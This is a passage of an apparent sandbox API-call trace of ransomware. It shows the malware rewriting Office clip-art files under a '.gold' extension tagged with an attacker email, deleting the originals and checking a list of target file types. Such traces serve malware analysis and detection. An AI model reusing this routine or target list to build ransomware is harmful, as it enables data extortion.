Office\\CLIPART\\PUB60COR\\J0106146.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.091] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106146.wmf")) returned 1 [0106.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0106.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0106.112] lstrlenW (lpString=".doc") returned 4 [0106.112] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.113] lstrlenW (lpString=".docx") returned 5 [0106.113] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0106.113] lstrlenW (lpString=".pdf") returned 4 [0106.113] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.113] lstrlenW (lpString=".xls") returned 4 [0106.113] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.113] lstrlenW (lpString=".xlsx") returned 5 [0106.113] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0106.113] lstrlenW (lpString=".ppt") returned 4 [0106.113] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0106.113] lstrlenW (lpString=".zip") returned 4 [0106.113] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.113] lstrlenW (lpString=".rar") returned 4 [0106.113] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.113] lstrlenW (lpString=".bz2") returned 4 [0106.120] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.121] lstrlenW (lpString=".7z") returned 3 [0106.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0106.121] lstrlenW (lpString=".dbf") returned 4 [0106.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0106.121] lstrlenW (lpString=".1cd") returned 4 [0106.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0106.121] lstrlenW (lpString=".jpg") returned 4 [0106.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0106.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0106.121] lstrlenW (lpString=".doc") returned 4 [0106.121] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.121] lstrlenW (lpString=".docx") returned 5 [0106.121] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0106.121] lstrlenW (lpString=".pdf") returned 4 [0106.121] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.121] lstrlenW (lpString=".xls") returned 4 [0106.121] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.121] lstrlenW (lpString=".xlsx") returned 5 [0106.121] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0106.121] lstrlenW (lpString=".ppt") returned 4 [0106.121] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0106.121] lstrlenW (lpString=".zip") returned 4 [0106.121] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.121] lstrlenW (lpString=".rar") returned 4 [0106.121] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.121] lstrlenW (lpString=".bz2") returned 4 [0106.121] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.121] lstrlenW (lpString=".7z") returned 3 [0106.121] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0106.121] lstrlenW (lpString=".dbf") returned 4 [0106.121] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0106.121] lstrlenW (lpString=".1cd") returned 4 [0106.121] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.121] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106146.WMF") returned 63 [0106.121] lstrlenW (lpString=".jpg") returned 4 [0106.121] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.122] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.122] lstrlenW (lpString="J0106572.WMF") returned 12 [0106.122] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0106.139] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=2148) returned 1 [0106.139] CloseHandle (hObject=0x3cc) returned 1 [0106.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf")) returned 0x20 [0106.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0106.147] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.147] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.147] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0106.148] GetLastError () returned 0x0 [0106.148] ReadFile (in: hFile=0x3cc, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x864, lpOverlapped=0x0) returned 1 [0106.159] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0x870, lpOverlapped=0x0) returned 1 [0106.160] ReadFile (in: hFile=0x3cc, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.160] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.160] SetEndOfFile (hFile=0x364) returned 1 [0106.160] CloseHandle (hObject=0x364) returned 1 [0106.160] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.160] SetEndOfFile (hFile=0x3cc) returned 1 [0106.162] CloseHandle (hObject=0x3cc) returned 1 [0106.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0106572.wmf")) returned 1 [0106.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0106.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0106.163] lstrlenW (lpString=".doc") returned 4 [0106.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.163] lstrlenW (lpString=".docx") returned 5 [0106.163] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0106.163] lstrlenW (lpString=".pdf") returned 4 [0106.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.163] lstrlenW (lpString=".xls") returned 4 [0106.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.163] lstrlenW (lpString=".xlsx") returned 5 [0106.163] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0106.163] lstrlenW (lpString=".ppt") returned 4 [0106.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0106.163] lstrlenW (lpString=".zip") returned 4 [0106.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.163] lstrlenW (lpString=".rar") returned 4 [0106.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.163] lstrlenW (lpString=".bz2") returned 4 [0106.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.163] lstrlenW (lpString=".7z") returned 3 [0106.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0106.163] lstrlenW (lpString=".dbf") returned 4 [0106.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0106.163] lstrlenW (lpString=".1cd") returned 4 [0106.163] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0106.163] lstrlenW (lpString=".jpg") returned 4 [0106.163] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0106.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0106.163] lstrlenW (lpString=".doc") returned 4 [0106.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.163] lstrlenW (lpString=".docx") returned 5 [0106.163] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0106.163] lstrlenW (lpString=".pdf") returned 4 [0106.164] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.164] lstrlenW (lpString=".xls") returned 4 [0106.164] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.164] lstrlenW (lpString=".xlsx") returned 5 [0106.164] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0106.164] lstrlenW (lpString=".ppt") returned 4 [0106.164] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0106.164] lstrlenW (lpString=".zip") returned 4 [0106.164] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.164] lstrlenW (lpString=".rar") returned 4 [0106.164] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.164] lstrlenW (lpString=".bz2") returned 4 [0106.164] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.164] lstrlenW (lpString=".7z") returned 3 [0106.164] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0106.164] lstrlenW (lpString=".dbf") returned 4 [0106.164] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0106.164] lstrlenW (lpString=".1cd") returned 4 [0106.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0106572.WMF") returned 63 [0106.164] lstrlenW (lpString=".jpg") returned 4 [0106.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.164] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.164] lstrlenW (lpString="J0107024.WMF") returned 12 [0106.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0106.165] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=3020) returned 1 [0106.165] CloseHandle (hObject=0x3cc) returned 1 [0106.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf")) returned 0x20 [0106.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0106.165] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.165] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0106.166] GetLastError () returned 0x0 [0106.166] ReadFile (in: hFile=0x3cc, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xbcc, lpOverlapped=0x0) returned 1 [0106.651] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0106.652] ReadFile (in: hFile=0x3cc, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.652] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.652] SetEndOfFile (hFile=0x364) returned 1 [0106.652] CloseHandle (hObject=0x364) returned 1 [0106.652] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.652] SetEndOfFile (hFile=0x3cc) returned 1 [0106.654] CloseHandle (hObject=0x3cc) returned 1 [0106.654] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107024.wmf")) returned 1 [0106.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0106.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0106.788] lstrlenW (lpString=".doc") returned 4 [0106.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.788] lstrlenW (lpString=".docx") returned 5 [0106.788] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0106.788] lstrlenW (lpString=".pdf") returned 4 [0106.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.788] lstrlenW (lpString=".xls") returned 4 [0106.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.788] lstrlenW (lpString=".xlsx") returned 5 [0106.788] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0106.788] lstrlenW (lpString=".ppt") returned 4 [0106.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0106.788] lstrlenW (lpString=".zip") returned 4 [0106.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.789] lstrlenW (lpString=".rar") returned 4 [0106.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.789] lstrlenW (lpString=".bz2") returned 4 [0106.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.789] lstrlenW (lpString=".7z") returned 3 [0106.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0106.789] lstrlenW (lpString=".dbf") returned 4 [0106.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0106.789] lstrlenW (lpString=".1cd") returned 4 [0106.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0106.789] lstrlenW (lpString=".jpg") returned 4 [0106.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0106.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0106.789] lstrlenW (lpString=".doc") returned 4 [0106.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.789] lstrlenW (lpString=".docx") returned 5 [0106.789] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0106.789] lstrlenW (lpString=".pdf") returned 4 [0106.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0106.789] lstrlenW (lpString=".xls") returned 4 [0106.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0106.789] lstrlenW (lpString=".xlsx") returned 5 [0106.789] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0106.789] lstrlenW (lpString=".ppt") returned 4 [0106.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0106.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0106.789] lstrlenW (lpString=".zip") returned 4 [0106.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0106.789] lstrlenW (lpString=".rar") returned 4 [0106.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0106.789] lstrlenW (lpString=".bz2") returned 4 [0106.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0106.789] lstrlenW (lpString=".7z") returned 3 [0106.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0106.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0106.789] lstrlenW (lpString=".dbf") returned 4 [0106.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0106.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0106.789] lstrlenW (lpString=".1cd") returned 4 [0106.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0106.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107024.WMF") returned 63 [0106.790] lstrlenW (lpString=".jpg") returned 4 [0106.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0106.790] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0106.790] lstrlenW (lpString="J0107132.WMF") returned 12 [0106.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0106.790] GetFileSizeEx (in: hFile=0x3cc, lpFileSize=0x2b1ff1c | out: lpFileSize=0x2b1ff1c*=48380) returned 1 [0106.790] CloseHandle (hObject=0x3cc) returned 1 [0106.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf")) returned 0x20 [0106.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0106.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0106.791] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.791] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0106.792] GetLastError () returned 0x0 [0106.792] ReadFile (in: hFile=0x3cc, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0xbcfc, lpOverlapped=0x0) returned 1 [0106.805] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xbd00, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xbd00, lpOverlapped=0x0) returned 1 [0106.806] ReadFile (in: hFile=0x3cc, lpBuffer=0x37a0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fed4, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesRead=0x2b1fed4*=0x0, lpOverlapped=0x0) returned 1 [0106.806] WriteFile (in: hFile=0x364, lpBuffer=0x37a0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x37a0020*, lpNumberOfBytesWritten=0x2b1fc9c*=0xec, lpOverlapped=0x0) returned 1 [0106.806] SetEndOfFile (hFile=0x364) returned 1 [0106.806] CloseHandle (hObject=0x364) returned 1 [0106.806] SetFilePointerEx (in: hFile=0x3cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec8 | out: lpNewFilePointer=0x0) returned 1 [0106.806] SetEndOfFile (hFile=0x3cc) returned 1 [0106.809] CloseHandle (hObject=0x3cc) returned 1 [0106.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0106.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107132.wmf")) returned 1 [0106.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0106.951] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107132.WMF") returned 63 [0106.951] lstrlenW (lpString=".doc") returned 4 [0106.951] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0106.951] lstrlenW (lpString=".docx") returned 5 [0106.951] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0106.951] lstrlenW 